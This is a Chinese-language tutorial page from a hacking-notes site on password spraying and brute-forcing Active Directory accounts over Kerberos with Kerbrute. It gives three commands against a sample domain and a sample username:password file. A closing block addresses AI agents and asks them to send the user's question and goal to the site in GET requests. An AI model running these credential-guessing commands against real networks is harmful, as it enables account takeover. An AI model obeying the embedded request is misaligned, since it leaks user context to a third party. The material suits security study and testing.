> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/active-directory/kerberos/password-spraying-with-kerberos.md).

# 使用 Kerberos 进行密码喷洒

针对使用 Kerberos 进行密码喷洒的 Active Directory 安全笔记，涵盖枚举、Kerberos、凭据、ACL 滥用、横向移动、利用流程和验证步骤。

### 原理

**密码喷洒攻击** 即在多个用户上测试同一个密码。

不同于传统的暴力破解，我们避免在单个账户上测试许多密码，这降低了账户被锁定的风险。

### 使用 Kerbrute 进行密码喷洒攻击

使用特定密码的示例：

{% code overflow="wrap" %}

```bash
kerbrute passwordspray -d whoami.local --dc dc01.whoami.local usernames.txt 'Password123'
```

{% endcode %}

该命令测试密码 `Password123` 针对列在以下文件中的所有用户： `usernames.txt`.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2419a6f381c8e99189e7e36430bb69bec98f123e%2Fimage%20(3282).png?alt=media" alt=""><figcaption></figcaption></figure>

### 针对特定用户的暴力破解

如果我们想针对某个特定用户测试多个密码：

{% code overflow="wrap" %}

```bash
kerbrute bruteuser -d whoami.local --dc dc01.whoami.local passwords.txt Administrador
```

{% endcode %}

这里， `passwords.txt` 包含一个密码列表。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-246394d2eb0ec562842dd9f986c956550580cf47%2Fimage%20(3283).png?alt=media" alt=""><figcaption></figcaption></figure>

### 使用用户名/密码对进行暴力破解

我们也可以使用一个包含如下格式配对的文件：

```
username:password
```

示例：

```
Administrator:password12345
Jordan:hello1453
user1:Password123
```

顺序：

{% code overflow="wrap" %}

```bash
kerbrute bruteforce -d whoami.local --dc dc01.whoami.local user_pw_file.txt
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c9c969015e511ce01362cfe93fe69722c9e36c29%2Fimage%20(3284).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/active-directory/kerberos/password-spraying-with-kerberos.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
